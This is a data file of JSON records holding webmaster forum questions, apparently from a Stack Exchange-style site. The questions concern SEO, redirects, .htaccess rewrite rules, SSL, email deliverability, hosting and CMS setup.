{"id":"52354","title":"Making my domain show up instead of my sitemap.xml in Google search results","text":"If I search Google for a term or my site name, Google returns the URL `sitename.com\/sitemap.xml` on the first or second page of the results. _I want the main site to return in the results and not the sitemap_."}
{"id":"58866","title":"Can using Varnish still help to improve the performance of my site if I already use CloudFlare?","text":"I'm using CloudFlare right now. Can Varnish still help to improve the performance of my site?"}
{"id":"8237","title":"Embeddables and moving from wordpress.com to self host","text":"I transfered my wordpress blog from .com to a self host but it is full with embeds from youtube and flickr, written like thus: > [youtube=http:\/\/www.youtube.com\/watch?v=someurl] and so how do I go about converting those wordpress.com embeds to normal embeds? Thank you"}
{"id":"59382","title":"How can I query over a page name at google analytics","text":"I am running a website that every customer has a different query string attached to the url plus one random guid attached at the end: \/myPage\/?cust=one&randomGuid \/myPage\/?cust=two&randomGuid \/myPage\/?cust=three&randomGuid I would like to measure how many page views I have using only the `cust` query string parameter discarding the random part of the string. The regex for this job would be `cust=(.*?)&` but I don't know how to apply this in google analytics"}
{"id":"30858","title":"Restricted Flow Of Power","text":"I'm sure all is fine, but i need some reassurance. Last month my company launched consolidated two of their websites into one new website. www.fdmgroup.com and www.fdmacademy.com into a newly designed www.fdmgroup.com. Because the FDM Academy grew as it's own brand we decided not to just forward the domain to the fdmgroup website, but instead just mirror the new FDM Group website and use a canonical tags to the FDM Group domain (so the link juice will pass to the FDM Group domain pages) The website has be live for nearly a month and i don't believe any power has passed down through the FDM Group website to it's deeper pages even though 301 redirects from the legacy group and academy domains in place. I am also seeing the same problem on the FDM Academy domain, but i expect to see this as every page has a canonical to the same page on the **Is there anything which is restricting the flow of power through the site, or am i just being impatient?**"}
{"id":"39402","title":"How to fix 404 crawl error of a website","text":"I have a navigational links in a php page `nav.php`, Which is included in all pages of my website. I have got folder structure like below +top_folder -config.php +includes_folder -nav.php (conatins links to all pages in my website) +courses_folder -course1.php -course2.php -nav.php **config.php** <?php $main_url = \"http:\/\/www.myapp.com\/\"; ?> **nav.php file** <ul> <li><a href=\"<?=$main_url?>courses_folder\/course1.php\">Course 1<\/li> <li><a href=\"<?=$main_url?>courses_folder\/course2.php\">Course 2<\/li> <\/ul> So, I am including the `top_folder\/includes_folder\/nav.php` file in all pages. But I also placed `nav.php` in other location: `top_folder\/courses_folder\/nav.php` and I am not including this file in any file of my website. `$main_url` is only defined in `config.php`, which I am including in all files, Not in `nav.php`. So the `$main_url` is being displayed as blank in crawled page i.e. `top_folder\/courses_folder\/nav.php` Google has crawled `top_folder\/courses_folder\/nav.php` page also. The links are not proper bacause $main_url is null in this case. So It's been a 7 months since i done this changes. Is it a good idea to just include the `config.php` in `top_folder\/courses_folder\/nav.php` file **OR** Do i need to create the files and folders (As links in `top_folder\/courses_folder\/nav.php` file). **OR** Do i need to disallow the links (`robots.txt`) in `top_folder\/courses_folder\/nav.php` file Among the above, Which is the recommended solution to solve the 404 issues without affecting the SEO."}
{"id":"39405","title":"How to add lock symbol to my website using private SSL in https pages","text":"I just purchased SSL for my website from hostgator, so that I can add lock symbol in my website, when users visit `https:\/\/www.mysite.com` For example:  Now they have installed the certificate, but I am unable to make this thing visible on my site. When I am opening the site with `https:\/\/` it shows no lock symbol. Please help me to show lock symbol and security certificate information when `https:\/\/` pages open in my PHP Script."}
{"id":"59470","title":"Several <a href=“#”>link<\/a> on one page - Effect on SEO and User Experience?","text":"I've been researching the question if several `<a href=“#”>link<\/a>` links on one page have a bad impact on SEO and User Experience, for quite a while now but didn't really come to a conclusion. This method is used when a site structure is ready from the start but content etc is missing. So you put up a frontpage with those links and extend the whole site step by step over time. So time after time those links will be removed with the actual link but it can take its time. Lets say we have a big site with 50 pages and 5 pages have several of those \"unready\" links. Lets clear the facts: **User experience:** For the user it should be a really bad experience when they see a link for more information and expect to get these information but then just get linked to the top of the current page. If a page is full of such links I can imagine its frustrating and they will leave immediately. **Google's View:** Their crawlers see the site structure right from the start and it should be more cost effective not to recalculate link juice etc with every update. And we know Google really cares about costs and effectiveness of their crawling. But on the other hand, they also really care about the user experience and consider this as one major ranking factor. So my question is: Does have several of those \"not ready\" links on one page, a bad impact on Google rankings? I'm really interested how different webmasters see this topic."}
{"id":"34390","title":"Recovery from URL structure change?","text":"in July this year, we have changed the URL structure of the website from: > **Post** : domain.com\/blog\/post\/986\/dance\/heart-beats-dance-video-by- > chinatsu\/ > > **Category** : domain.com\/blog\/index\/cosplay\/ to > **Post** : domain.com\/dance\/heart-beats-dance-video-by-chinatsu-986\/ > > **Category** : domain.com\/cosplay\/ Everything was (supposedly) properly redirected with 301 redirects and it first seemed that the traffic returned after a couple of days, but it has now been close to 2 months and things keep going worse although Google is slowly indexing the changes.  What is worrying me even more is that the **Pages crawled per day** from Webmaster Tools started drastically dropping a few days ago and has just reached a new low in months (from over 2000 to 700). Should I be worried or will things sort out eventually?"}
{"id":"31673","title":"Online Video Platform for own servers","text":"I need an application, similar to Ooyala, Vzaar, Brightcove, that manages & encodes all videos. The only difference, is that I want to host the software and content on my own servers, preferably Ubuntu, using PHP. Software does not have to be free. The closest I've got to is Kaltura OS."}
{"id":"31674","title":"php+mysql account management software?","text":"I need an account system added to my website as a plugin to all of my HTML pages. The account system plugin needs to,register new users, log in current users, remove users who want to disconnect service, and manipulate all of these things via database on my web server. However, I do not know how to program in the PHP language or create and manipulate MySQL databases. I want a program that can create and manipulate the MySQL database automatically for my website and handle also PHP calls automatically. Are there any open source freeware programs out there that i can use? If so what are the names of these freeware?"}
{"id":"54988","title":"How to remove our IP address from Microsoft's email blacklist?","text":"We have a website, users sign up and receive links to confirm they signed up BUT: 1. Microsoft blocked our IP (no one with Microsoft email account can receive our emails.) 2. We tried contacting microsoft submitting the detailed form about our problem. 3. We posted 3 times in their community about our problem. 4. We tweeted they about our problem. 5. We tried finding out some telephone support number (the few there are aren't helping at all.) Do you think we solved? the answer is **NO** :\/ We are still unable to send emails from our IP to Microsoft email accounts and have been unable to for the last 3 months. Our emails are perfect. We checked all the email headers following Microsoft's guidelines, but it seems not enough. Checking our IP reputation it seems everything is OK, indeed we can send email easly to any other provider: Gmail, Yahoo, etc. Here is the full error returned by Microsoft: host mx1.hotmail.com[65.55.37.120] said: 550 SC-001 (COL0-MC4-F28) Unfortunately, messages from 94.23.***** weren't sent. Please contact your Internet service provider since part of their network is on our block list. You can also refer your provider to http:\/\/mail.live.com\/mail\/troubleshooting.aspx#errors. (in reply to MAIL FROM command) We are running NGIX + PHP mailer from a virtual private server (no Hosting or shared hosting.) Are there any other way to try to get help?"}
{"id":"7630","title":"How To: Super quality images and text","text":"Sometimes I come across sites that are different than others in terms of quality. For example (sorry for the ad), http:\/\/www.taskrabbit.com\/ . The image quality is perfect, everything \"shines\" and the text,buttons, background is also super quality. How it's made? What's the secret? Thanks"}
{"id":"7637","title":"Joomla 1.6 URL rewrite on IIS7 (removing \/index.php\/)","text":"Joomla 1.6 was released today and I'm wondering if anyone knows how to get rid of the \/index.php\/ part? How link looks now: > `http:\/\/www.example.org\/index.php\/stuff` How link would look after URL rewrite: > `http:\/\/www.example.org\/stuff` The old code (j1.5) at this link doesn't work: http:\/\/docs.joomla.org\/SEO_and_IIS_ISAPI"}
{"id":"34397","title":"Can copying site content for a mobile version of the site impact SEO?","text":"I am thinking about copying our content (text content especially) from our main site (eg: `example.com`) to the mobile version of the site (eg: `m.example.com` or `example.com\/m`). What are the SEO side effects of doing so? Do SEO experts recommend this practice? If you have external articles or reference, hope you guys can share here also."}
{"id":"47430","title":"Cloudflare is it safe?","text":"I am thinking of signing up with cloud flare, but since i'm not very familiar with the technical side of things, I wanted to ask here first. How safe is it to sign up with services, like cloud flare? Do they ultimately own my domain? Are they able to take away control of my domain? The way I see it, I transfer ownership of my domain to them, and they will also appear as owners in whois. Is this how it works? I'm confused. Note, I am not asking how reputable cloud flare is, but rather how it works, and if they are **technically** able to snatch my domain."}
{"id":"59680","title":"How does my server validate my email address","text":"I am attempting to send emails from my website (localhost, test and live) and I am finding that only a fraction ever reach their destination. One of the problems may be that my web server is not communicating the fact that my emails are coming from a valid email address and\/or source. I've read that my web server (or DNS) may be contacted by an email system regarding the emails that that appear to be sent from my domain. If the server does not respond and tell the email system that the email address or IP address is trustworthy, the email may be treated as spam. How does this validation system work? How do I add emails and IP addresses to my server so that they are regarded as good sources? In general, I want for emails to be seen as valid when they come from my server and when they come from my localhost (for testing reasons.)"}
{"id":"33838","title":"I can't find my backup for the cpanel in whm\/cpanel","text":"**The Problem:** I have made a complete backup from the cpanel for the whole home folder. I have placed this folder in the default home directory. Thereafter, i tried to restore this file from the WHM, but i couldn't find it. Does anyone know what causes such problems? **Additional Details:** 1. I am the administrator of the cpanel and i have complete access to the reseller WHM. 2. Check more details below with images:    Thanks in advance for your help! any ideas or suggestions are greatly appreciated."}
{"id":"14126","title":"How to make search engines display only the title of a web page on their search results?","text":"I want to make search engines display only the title of my web page on their search results. And I don't want to show any descriptions and any texts of my page on the search results. For example, this site is displayed like: Stack Overflow A language-independent collaboratively edited question and answer site for programmers. stackoverflow.com\/ - Cached - Similar In this case, I don't want to make search engines display the text `A language-independent collaboratively edited question and answer site for programmers.`. And I want to make them display like: Stack Overflow stackoverflow.com\/ - Cached - Similar"}
{"id":"47439","title":"How do you perform renewal pricing comparison on the domain name you already owned","text":"Last year, I just purchased 2 domain names from a domain registrar company. Now, my owned domain names are going to expire in few more months. When I decide to continue to renew the domain names with them, I realize they increase the renewal price for more than 100% I want to know what price I will pay for, if I renew the domain names with other domain registrar companies. However, when I perform such checking on the other domain registrar companies' websites, they will state that the domain names is not available. (As I'm still owning them) So, may I know, how can I perform renewal pricing comparison on the domain name I already owned, and not yet expired?"}
{"id":"51339","title":"Redirecting multiple ccTLD's to 1 gTLD: delete the 'old' domains in Google Webmaster Tools?","text":"We are planning to redirect our current multiple ccTLD's (`.com`, `.de`, `.nl`) to 1 gTLD with country specific subdirectories (`.com\/en`, `.com\/de`, `.com\/nl`). We will use permanent 301 redirects from the ccTLD to the relevant subdirectories of the gTLD. With this move, should we delete the multiple indexed ccTLD's in Google Webmaster Tools and only have the new gTLD indexed?"}
{"id":"34118","title":"Use new hosting which is already used buy a domain, for a new domain","text":"I am new to web hosting n stuffs, I am having a domain called www.yassershaikh.com from domainz.in, from where I had taken a LINUX hosting. I am running a wordpress blog there. Now I have taken a another domain from goDaddy called www.codera.org, now here I want to use Windows hosting, but that I am not planning to buy for atleast 6 months. So I was thinking if it's possible to use the hosting(LINUX) which I am using for my first site. Is this possible ? Please guide me on this please. (Also for now I am just redirecting it to one page on my blog.)"}
{"id":"65738","title":"Can a HTML form submit to a secure SSL location that keeps the user on the HTTPS site?","text":"I've enabled SSL for my apache server so when I attempt to go to `https:\/\/mysite\/private\/index.html`, my browser displays a generic dialog asking me to provide my username and password to log in. How does one use an HTML form to start a secure session? For example, do I need to set the action to a PHP script that can somehow start the same secure session that Apache uses? This is an acceptable solution; however, I'd like to finesse things a bit by making a login page with an HTML form that would somehow start the SSL session and then take me to `https:\/\/mysite\/private\/index.html`. How would one do that?"}
{"id":"34112","title":"Does google adsense ban sites which has links to mp3 files on other websites?","text":"I wanted to build a website that will have the links to mp3s on other websites. Does google permit us to put the adsense on such website?"}
{"id":"44867","title":"In regards to SEO, is a site map important for a small 3 page website?","text":"In regards to SEO, is a site map important for a small 3 page website? I understand that it is not needed for the convenience of a user visiting the site, but will it help the search engines find it?"}
{"id":"44866","title":"Move the DokuWiki data directory somewhere else?","text":"I need to move the DokuWiki data directory away from its default location (because I keep the installation and configuration in version control, but data needs to kept elsewhere, in order to be properly backed up and not be clobbered when upgrading the software version). How do I this? Is there a simple configuration file? Are there any gotchas?"}
{"id":"44862","title":"Sound effects for websites","text":"Is there a standard go-to place for sound effects for websites? Preferably ones that are free to use for whatever I'd like. Kinda like a bootstrap for sounds instead of css and javascript."}
{"id":"22213","title":"www and non www can suffer duplicated content","text":"Do you know if i should use canonical tag, or 301 redirection from `http:\/\/mydomain.com` to `http:\/\/www.mydomain.com` To avoid duplicated content penalty in case other pages link to the domain without the www.? or is Google enough smart now just to identify whats the canonical one?"}
{"id":"67520","title":"Removing the subdomain as a subdirectory in Apache","text":"I simply trying to make my webpage come up as `owncloud.example.com` instead of `owncloud.example.com\/owncloud`. I am running Ubuntu 14.04 and Apache 2.4, and using OpenSSL. I have tried changing things in my _apache.conf_ and _conf-available_ , and I have changed the root directory to `\/var\/www\/` and put the first one in there without any luck."}
{"id":"9849","title":"How to forward non-www to www. Using Godaddy DNS Manager","text":"so I've set `www.mydomain.com` to point to `ghs.google.com`, which correctly loads my Google site, but if you go to `mydomain.com`, it doesn't redirect\/forward to `www.mydomain.com`, it just hangs. is there a way to change this in the Godaddy DNS manager?"}
{"id":"56695","title":"Improvement of url by changing slash to underline or dash","text":"I have a website with links similar to: http:\/\/stackoverflow.com\/questions\/4183948\/css-set-background if I change links to: http:\/\/stackoverflow.com\/questions\/4183948_css-set-background ( `\/` to `_` ) does it improve my website's SEO rank? if it does why most of websites avoid doing that?"}
{"id":"16035","title":"Prezi HTML 5 & html5 book recommendation","text":"I was wondering what were you thought on being able to build an app similar to prezi (presentation app) using HTML 5. Also while you're at it, I'm looking for a good HTML 5 book recommendation. Thanks!!"}
{"id":"51788","title":"Custom page title in list of pages in a category","text":"The display name of the page in Mediawiki can be changed using the magic word: {{DISPLAYTITLE:name_with_underscore}} But the list of pages on the category page displays the original name (without the underscore in my example). Is there a way to display a custom name in this list?"}
{"id":"27985","title":"How can i distinguish revenue from different folders in Adsense?","text":"I am currently running three websites using adsense. Since i do this more to be useful than to earn something, i have a subdomain of a free hoster and my websites live in subfolders e.q. mydomain.hoster.com\/website1, mydomain.hoster.com\/website2, to which i link with .tk aliases. Is there a way to distinguish adsense income from website1 to website 2? I tried using custom channels, but somehow this part of adsense eludes me. Can someone shed some light on this?"}
{"id":"35589","title":"Website address hacked, emails created but not showing in manage your account","text":"I have a website, `thebleudoor.com`. It is hosted by yahoo. It gets 2000-3000 hits a day and has been for at least 5 years. A few months ago, as admin of the website, I started getting bounced back emails from newly created emails like `d4f7a91f9@thebleudoor.com`. Yahoo only shows 2 emails for my account. They said they can't do anything about it. Now, my \" _spam hacked email accounts_ \" are getting spam. They haven't altered or used my website or email or bank info, just the good name of my website. Is there anything I can do? Do I need to be concerned? Changing my provider won't really help will it?"}
{"id":"1243","title":"Is it possible to create a 301 redirect and MX records at a naked domain?","text":"I'm wondering since I found out that creating a CNAME and an MX record is not allowed. I want to create a 301 redirect from `example.com` to `www.example.com`, and have email with `@example.com` addresses. I'm using 1&1 as my registrar, btw."}
{"id":"3091","title":"SEO: 301 redirects and canonical tag","text":"from the book \"Art of SEO\": > 301s carry cross-domain functionality, meaning you can redirect a page at > Domain1.com to Domain2.com and carry over those search engine metrics. This > is not the case with the canonical URL tag, which operates exclusively on a > single root domain (it will carry over across subfolders and subdomains). What does the 1st line mean? Say if I move domains, I can 301 the old domain to the new and have the same search engine ranking? I don't really get how the canonical tag fits into the picture. Can someone explain?"}
{"id":"1532","title":"Recurring Profile and Bundled Item (Magento)","text":"I have a subscription service that people pay monthly for, so I’ve setup a “Virtual Product” with a Recurring Profile. At the same time, I want to have it so they can add different one time products. To accomplish this I’ve tried creating a “Bundled Product” with all the different one time products and adding the “Virtual Product” to that “Bundled Product”. However, when I go to checkout it says “Nominal item can be purchased standalone only. To proceed please remove other items from the quote.” How do I allow people to subscribe to the service and purchase the products at the same time? **note: I am using Paypal Website Payment Pro as my merchant account."}
{"id":"649","title":"How do you determine the monetary value of an established domain \/ website?","text":"I have some domains that I've been building for the last few years and now I'd like to sell them. I tried several services (including Sedo) to try and ascertain just how much money each domain was worth, but not one service agreed with any other service's assessment. I don't want to sell myself short, but I don't want to make the asking price inappropriate. Is there a formula to determine this, based on rank \/ traffic \/ etc? I know it can't be an exact science, but I'd like to be sure that I'm not selling myself short. Additionally, I'd like to be able to tell if I'm paying to much for a domain if I want to buy one in the future."}
{"id":"1248","title":"How can I simulate mobile device browsers to test websites on a desktop?","text":"Are there any good tools that can be run on desktop machines (Windows or Linux) that can simulate a mobile device, preferably with some options as to screen size and mobile browser (user agent if not full render engine). I know it is never going to be perfect (especially without an actual touchscreen), but having a tool on our development machines to do what testing we can that way would be very useful."}
{"id":"28323","title":"Is it true that the Google Spider gives the most relevance of a search result to the first 68 characters of the <title>?","text":"I am reading documentation about my CMS and it states that an HTML page `<title>` tag is really important in SEO. It states that the Google Spider gives the most relevance to the first 68 characters of a site title. (68 characters being the number of characters that Google will display in it's search engine result pages,) Can anyone verify this is still true? I read in The Information Diet that content farms were getting too good at gaming Google's algorithm for collecting and posting SERPs and so google had to change the search algorithm."}
{"id":"32057","title":"SEO value of duplicating content externally","text":"I run a website that includes a blog which was hand-coded by myself and is hosted on the same domain. My partner in this endeavour thinks it would be a good idea to open up a Blogger\/WordPress blog and duplicate the on-site blog on this off-site blog. AFAIK the main reason for doing this is the SEO benefits of the inbound links that this off-site blog will create. I think this is a bad idea, because: 1. Effectively what we're doing is creating a (very small scale) link farm. 2. We're more likely to be punished than rewarded (in SEO terms) for duplicating our content across domains. 3. This introduces a problem of synchronising our content across domains. For example, if a blog post is edited on the on-site blog, then ideally the off-site blog should be similarly updated. I know very little about SEO, so I would be interested to hear what more informed readers have to say."}
{"id":"63453","title":"How to prevent a 404 Error when creating a subdomain and using www to access it?","text":"I have installed a multi-site installation of WordPress onto my domain. I then added the necessary code to the `wp-config.php` file and `.htaccess` as instructed by WordPress. I also installed a plugin called Quick Page\/Post Redirect Plugin which allowed me to place a 301 redirect onto the main domain as I only want to use the sub domain and not the main domain. Then I also added the following line of code to the `wp-config.php` file to redirect the main domain `define( 'NOBLOGREDIRECT', 'URL Redirect Address' );` The site works fine with a redirect on the main domain and my subdomain runs fine when you type in `subdomain.example.com` or `http:\/\/subdomain.example.com`. However when I enter `www.subdomain.example.com` or `http:\/\/www.subdomain.example.com` the following error message is returned: > Not Found > > The requested URL \/ was not found on this server. > > Apache\/2.4.9 (Unix) Server at www.subdomain.domain.com Port 80 Any help with this would be much appreciated."}
{"id":"39467","title":"How do I go about assigning my computer to my domain name?","text":"I've just registered a domain name, just to test how uploading a website works (I've made heaps, but never uploaded one), and I am unsure of where to go next. I wish to use my own personal computer just to test it, then later on I will see what my options are. It'd be a waste for me to buy hosting if I feel the whole website thing isn't for me... I understand that in order to appoint my computer to the domain name I need to specify some DNS servers, but how do I set this up on my computer? I'm running Windows 7, I've installed IIS and have my site working nice in my LAN, but I want people outside of my LAN to access it using the domain name I've purchased. Please excuse me if things don't make sense or I'm doing something wrong; I'm new and just trying to learn."}
{"id":"22231","title":"Forward .html\/.htm to .php with .config","text":"I'm moving a site from my linux hosted server to a client's windows hosted server. The .htaccess file no longer works and I'm told that windows servers use .config . How can I forward all users accessing .html & .htm files to the equivalent .php file. Server Info... OS\/Hosting Type: Windows \/ Shared Hosting .Net Runtime Version: ASP.Net 2.0\/3.0\/3.5 PHP Version: PHP 5.2 IIS Version: IIS 7.0 Data Center: US Regional EDIT *Hosting provided by GoDaddy Was told by a friend following should work but it has no effect on the site. <configuration> <system.webServer> <handlers> <add name=\"PHP-FastCGI\" verb=\"*\" path=\"*.html\" modules=\"FastCgiModule\" scriptProcessor=\"c:\\php\\php-cgi.exe\" resourceType=\"Either\" \/> <\/handlers> <\/system.webServer> <\/configuration>"}
{"id":"26439","title":"Is it ok to optimise my site for “freevideos” instead of “free videos”?","text":"I am optimizing my website for SEO and after doing some research on google keyword tool I found out that there are a lot of searches for glued keywords with very thew competition in the search results. As an example:\"free videos\" has around 45,500,000 monthly searches with 92.600.000 result pages with exact match But... the keyword: \"freevideos\" has about 1,500,000 monthly searches with 128.000 result pages with exact match As you can see the ratio searches\/page results is very very high in the second example then in the first. So the question is: aren't there any draw backs by optimizing for such a keyword? There are tons of such keywords with millions of searches with little to no competition. I already got a few visitis being on positions 70-100 so that makes me think that the numbers are right."}
{"id":"4105","title":"Clean URL: with or without \"?\"","text":"Simple question What is better: http:\/\/www.example.com\/product\/123\/subpage\/456.html or http:\/\/www.example.com\/product?123\/subpage\/456 As far as I know they would rank the same SEO wise, but my SEO knowledge might be a little off. Also the last one seems to be easier and cleaner to implement on my end. Please explain to me which is better and for what reasons."}
{"id":"39465","title":"htaccess rewriterule for aliasses","text":"On our main domain we are running a CMS which feeds several domains with different input. The domains are directed with A records to the main ip address. The htaccess works fine it will bring up the right pages if you type in a url, lets say `www.ictzorg.nl` It will show the url `www.ictzorg.nl` in your browser which is originally `www.ckc-seminars.nl\/Event\/ictzorg\/2013\/NL` This is the htaccess code RewriteEngine On RewriteCond %{HTTP_HOST} ^(www.)?ictzorg.nl$ RewriteRule ^(.*)$ http:\/\/www.ckc-seminars.nl\/Event\/ictzorg\/2013\/NL\/$1 [P] Problem now is that if you click on a link on that page it will search for www.ictzorg.nl\/Event\/ictzorg\/2013\/NL\/Page\/450 It should direct to www.ckc-seminars.nl\/Event\/ictzorg\/2013\/NL\/Page\/450 and should be shown in the URL bar as www.ictzorg.nl\/Page\/450"}
{"id":"31090","title":"Best practices for SEO of YouTube video content","text":"What are best practices for search engine optimization of YouTube video content? By that I mean filling in descriptions, titles, tags and so on. I can't find good information about this on the internet, about which keywords to use, optimal\/maximum lenght of texts and other (?) issues"}
{"id":"59672","title":"Would Google penalize me for removing indexed pages?","text":"I'm about to remove a large part of a website in order to replace it by a better alternative which, unfortunately, cannot be mapped to older URIs with URL rewriting. The part of the website I want to remove is indexed by Google. Would Google penalize me for removing indexed pages?"}
{"id":"25082","title":"Why sometimes URLs are reached without the \"www\"'s in the url?","text":"> **Possible Duplicate:** > What does WWW do? The usual form of an internet adress is for example `http:\/\/www.example.com`. Sometimes I encounter pages, that have the `www` missing, like in this real world example: https:\/\/service.discoplus.de\/ Why is that so? If I type in `https:\/\/wwwservice.discoplus.de\/` (with www) it asks me a security question and then rerouts me to `http:\/\/www.discoplus.de\/`. So obviously internet adresses with and without `www` are not equivalent. Thanks for any enlightening!"}
{"id":"9312","title":"How to Remove Extensions From, and Force the Trailing Slash at the End of URLs?","text":"Example of current file structure: example.com\/foo.php example.com\/bar.html example.com\/directory\/ example.com\/directory\/foo.php example.com\/directory\/bar.html example.com\/cgi-bin\/directory\/foo.cgi* I would like to remove HTML, PHP and CGI extensions from, and then force the trailing slash at the end of URLs. So, it could look like this: example.com\/foo\/ example.com\/bar\/ example.com\/directory\/ example.com\/directory\/foo\/ example.com\/directory\/bar\/ example.com\/cgi-bin\/directory\/foo\/ I am very frustrated because I've searched for 17 hours straight for solution and visited more than a few hundred pages on various blogs and forums. I'm not joking. So I think I've done my research. Here is the code that sits in my .htaccess file right now: RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}\\.html -f RewriteRule ^(([^\/]+\/)*[^.\/]+)\/$ $1.html RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !(\\.[a-zA-Z0-9]|\/)$ RewriteRule (.*)$ \/$1\/ [R=301,L] As you can see, this code only removes .html (and I'm not very happy with it because I think it could be done a lot simpler). I can remove the extension from PHP files when I rename them to .html through .htaccess, but that's not what I want. I want to remove it straight. This is the first thing I don't know how to do. The second thing is actually very annoying. My .htaccess file with code above, adds `.html\/` to every string entered after `example.com\/directory\/foo\/`. So if I enter `example.com\/directory\/foo\/bar` (obviously `\/bar` doesn't exist since `foo` is a file), instead of just displaying message that page is not found, it converts it to `example.com\/directory\/foo\/bar.html\/`, then searches for a file for a few seconds and then displays the not found message. This, of course, is bad behavior. So, once again, I need the code in .htaccess to do the following things: * **Remove .html extension** * **Remove .php extension** * **Remove .cgi extension** * **Force the trailing slash at the end of URLs** * **Requests should behave correctly (no adding trailing slashes or extensions to strings if file or directory doesn't exist on server)** * **Code should be as simple as possible** I would very much appreciate any help. And to first person that gives me the solution, I'll send two $50 iTunes Store gift cards for US store. If this offends anyone, I am truly sorry and I apologize. Thanks in advance. * * * @Kronbernkzion excellent. The only issue I'm having now is 404's don't seem to work right and leads me to a real funky place, I can't even use an absolute 404 redirect. ErrorDocument 404 http:\/\/www.google.com Did you come across this? How did you get past it? Aside from the 404 rewrite, the full code I've used was: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_URI} (.*)\/$ RewriteCond %{REQUEST_FILENAME}\\.html -f RewriteRule (.*)\/$ $1.html [L] RewriteCond %{REQUEST_URI} (.*)\/$ RewriteCond %{REQUEST_FILENAME}\\.php -f RewriteRule (.*)\/$ $1.php [L] RewriteCond %{REQUEST_URI} (.*)\/$ RewriteCond %{REQUEST_FILENAME}\\.cgi -f RewriteRule (.*)\/$ $1.cgi [L] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}\\.html -f [OR] RewriteCond %{REQUEST_FILENAME}\\.php -f [OR] RewriteCond %{REQUEST_FILENAME}\\.cgi -f RewriteRule .* %{REQUEST_FILENAME}\/ [R=301,L] <\/IfModule>"}
{"id":"35717","title":"My sitemap is indexed but I don't see the site pages being indexed","text":"Hi I have a site and my site map is being indexed by google correctly (almost I have 1.165 links and it indexed 1.156). But when I go to the Indexed pages view in Google webmaster tools it only show 60 indexed pages and also I am not getting a lot of keywords because of that. How can I improve that ? My site is a single page Ajax filled app and I create a sitemap so google can find my content."}
{"id":"3377","title":"large\/huge example databases .sql files to download on the web?","text":"Where can i find really large databases .sql files with 100's MB or a few GB text, 10.000.000 plus rows of text so I can test my sphinx search engine indexing"}
{"id":"55407","title":"Has Facebook changed the way they read meta data?","text":"I have a site built on Joomla!3.2. Recently I tried to share on Facebook an article from my site and it seems that Facebook doesn't read my _meta data_. Here is my _`<head>`_ output: <meta property=\"og:url\" content=\"http:\/\/www.highplay.pt\/blog\/porque-e-que-as-historias-vencem-uma-visao-nigel-barlow\" \/> <meta property=\"og:title\" content=\"High Play Institute - Porque é que as histórias vencem uma visão?\" \/> <meta property=\"og:type\" content=\"article\" \/> <meta property=\"og:image\" content=\"http:\/\/www.highplay.pt\/media\/k2\/items\/cache\/48ee1e8a0a8f50dce4f8cb9ab418e211_XL.jpg\" \/> And here is my **Graph API** from Open Graph Debugger { \"id\": \"191441707711484\", \"url\": \"http:\/\/www.highplay.pt\/blog\/porque-e-que-as-historias-vencem-uma-visao-nigel-barlow\", \"type\": \"website\", \"title\": \"http:\/\/www.highplay.pt\/blog\/porque-e-que-as-historias-vencem-uma-visao-nigel-barlow\", \"updated_time\": \"2013-11-21T11:38:46+0000\", \"created_time\": \"2013-11-21T11:22:05+0000\", \"is_scraped\": true } The weird in this is that I tried in last month and it looked great, with XL Image, description and Article name, I dunno why this is happen."}
{"id":"28140","title":"Disable outbound links without letting others know that","text":"Is there a way I can tell google not to follow external links ( pointing to other sites) without letting other know. I know you can disable outbound links by putting rel=nofollow or something in robots.txt. But that's something others can see as well. I'm just wondering if there's a way to tell google not to follow those links without letting others know that... like a setting in webmaster tools or something similar ( there's definetly one way. I could set an exception in my conf file for my server to check the user agent to be \"googlebot\" and then serve a different version of robots.txt. So that when a different user would check that link it would return a different robots.txt thant the one served to googlebot. However I'm not too sure google would be too happy about this) Thank you"}
{"id":"28141","title":"Can .htaccess slow down a site?","text":"I'm working with a client on an e-commerce website. I implemented clean URLs using .htaccess. I also used .htaccess to solve canonical issues such as redirecting www to non-www and removing index.php from the URL. The website recently began to slow down dramatically, sometimes not even loading. The site is hosted on GoDaddy, and when the client called GoDaddy they told him it was the .htaccess file slowing down the website. I find this highly unlikely because of my past experiences, but I'm not 100% sure. My thinking is that the client's website is most likely on a shared server with a busy neighborhood, thus slowing down the site. It's not always slow, but rather sporadic throughout the day, loading fast at some points and slow at other points in time. Can the .htaccess file slow down a website to a crawl? If so, are there better ways to solve these problems with different rewrite rules and such? Here is what the actual .htaccess file looks like: Options +FollowSymlinks RewriteEngine On RewriteBase \/ RewriteCond %{HTTP_HOST} ^www.example.net [NC] RewriteRule ^(.*)$ http:\/\/example.net\/$1 [L,R=301] RewriteRule ^products\/([0-9a-zA-Z\\_\\-]*)\\.htm([l]?)$ index.php p=product&product_code=$1 [L] RewriteRule ^catalog\/([0-9a-zA-Z\\_\\-]*)\\.htm([l]?)$ index.php p=catalog&catalog_code=$1 [L] RewriteRule ^pages\/([0-9a-zA-Z\\_\\-]*)\\.htm([l]?)$ index.php?p=page&page_id=$1 [L] RewriteRule ^index\\.htm([l]?)$ index.php?p=home [L] RewriteRule ^site_map\\.htm([l]?)$ index.php?p=site_map [L] RewriteCond %{QUERY_STRING} ^p=home$ RewriteRule (.*) ? [R=permanent] I'm a .htaccess and regex novice, so any pointed out mistakes would also help."}
{"id":"17344","title":" I want to park my domain www.b.com to www.a.com. if the user visits b.com, I want the browser url to display a.com","text":"I want to park my domain www.b.com to www.a.com So far is working, but if the user visits b.com, I want the browser url to display a.com Is there a way around it?"}
{"id":"3894","title":"What are best practices for Drupal QA? For example, how would you check for hard coded broken links?","text":"Looking for suggestions on how to QA a Drupal website. Thanks!"}
{"id":"65606","title":"Facebook and Open Graph Protocol","text":"Why is the Facebook open graph protocol beneficial beneficial to my web site? Why do I need to implement some of the meta properties to use the Facebook \"Like\" button on my web page? I do NOT understand what the meta tags are for, I don't understand their necessity for the \"Like\" button, and also am completely lost as to why the generated code from Facebook for the button doesn't even appear on my webpage. The HTML5 markup is not visible, I am not familiar with XFBML, the iframe at least appears on the page, but displays an image similar to that of a frozen or unresponsive webpage (that snowman guy who is gnashing his teeth and has snowflakes over his head), and finally the URL does not work either."}
